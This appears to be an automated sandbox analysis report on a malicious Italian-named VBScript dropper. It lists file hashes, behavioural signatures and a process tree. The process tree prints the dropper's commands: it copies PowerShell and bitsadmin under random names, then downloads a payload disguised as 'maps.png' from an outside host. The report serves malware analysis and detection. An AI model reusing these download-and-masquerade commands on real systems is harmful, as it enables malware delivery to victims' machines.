Analysis
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max time kernel
117s -
max time network
120s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
21-02-2022 10:17
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_doc_02613440060.vbs
Resource
win7-en-20211208
General
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Target
Allegato_doc_02613440060.vbs
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Size
8KB
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MD5
6266da42dda2a91e97c63181b85b26d4
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SHA1
2a0673cc7ea00b5187dac046b906aa1018317236
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SHA256
12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b
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SHA512
fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
NXBtfaYin.exepid process 776 NXBtfaYin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 1540 wrote to memory of 1336 1540 WScript.exe cmd.exe PID 1540 wrote to memory of 1336 1540 WScript.exe cmd.exe PID 1540 wrote to memory of 1336 1540 WScript.exe cmd.exe PID 1336 wrote to memory of 584 1336 cmd.exe cmd.exe PID 1336 wrote to memory of 584 1336 cmd.exe cmd.exe PID 1336 wrote to memory of 584 1336 cmd.exe cmd.exe PID 1336 wrote to memory of 672 1336 cmd.exe cmd.exe PID 1336 wrote to memory of 672 1336 cmd.exe cmd.exe PID 1336 wrote to memory of 672 1336 cmd.exe cmd.exe PID 1540 wrote to memory of 776 1540 WScript.exe NXBtfaYin.exe PID 1540 wrote to memory of 776 1540 WScript.exe NXBtfaYin.exe PID 1540 wrote to memory of 776 1540 WScript.exe NXBtfaYin.exe PID 1540 wrote to memory of 776 1540 WScript.exe NXBtfaYin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1540 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe3⤵PID:584
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe3⤵PID:672
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C:\ProgramData\NXBtfaYin.exe"C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png2⤵
- Executes dropped EXE
PID:776
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51